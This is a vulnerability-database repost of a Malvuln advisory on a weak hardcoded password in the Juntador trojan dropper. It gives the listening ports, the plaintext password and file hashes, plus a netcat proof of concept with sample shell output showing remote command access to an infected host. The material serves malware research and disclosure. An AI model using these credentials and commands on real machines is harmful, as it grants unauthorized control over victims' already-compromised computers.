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Trojan-Dropper.Win32.Juntador.a / Weak Hardcoded Password

CVE Category Price Severity
CWE-16 Not specified High
Author Risk Exploitation Type Date
Not specified High Not specified 2021-06-24
CPE
cpe:cpe:/a:trojan-dropper:win32:juntador
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H 0.04367 0.6342

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060132

Below is a copy:

Trojan-Dropper.Win32.Juntador.a / Weak Hardcoded Password
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/f28e866ce2f99013a66b015f6a7f31a8.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Juntador.a
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP ports 7826 and 13013 and drops executables under the Windows dir. Authentication is required for remote user access. However, the password "sexjerx sexjerx" is weak and hardcoded in plaintext within the executable.
Type: PE32
MD5: f28e866ce2f99013a66b015f6a7f31a8
Vuln ID: MVID-2021-0259
Dropped files: winvxd.exe, IntelMouse.exe
Disclosure: 06/23/2021

Exploit/PoC:
nc64.exe x.x.x.x 13013

pwd sexjerx sexjerx
psychward revised 0.1, awaiting your command
dir
<.>
<..>
<0409>
12520437.cpx                   (2151)
12520850.cpx                   (2233)
@AudioToastIcon.png            (308)
@EnrollmentToastIcon.png       (330)
@VpnToastIcon.png              (404)
@WirelessDisplayToast.png      (691)
aadauthhelper.dll              (154624)
aadtb.dll                      (954880)
AboveLockAppHost.dll           (252928)
accessibilitycpl.dll           (3804160)
accountaccessor.dll            (215552)
AccountsRt.dll                 (363520)
AcGenral.dll                   (2393600)
AcLayers.dll                   (372224)
acledit.dll                    (9216)
aclui.dll                      (5388800)
acppage.dll                    (68096)
AcSpecfc.dll                   (471552)
ActionCenter.dll               (261632)
ActionCenterCPL.dll            (541184)
ActivationClient.dll           (30720)
ActivationManager.dll          (444928)
activeds.dll                   (222720)
activeds.tlb                   (112128)
ActiveSyncProvider.dll         (1546752)
actxprxy.dll                   (261632)
AcWinRT.dll                    (33792)
acwow64.dll                    (38400)
AcXtrnal.dll                   (87552)
AdaptiveCards.dll              (38400)
etc...


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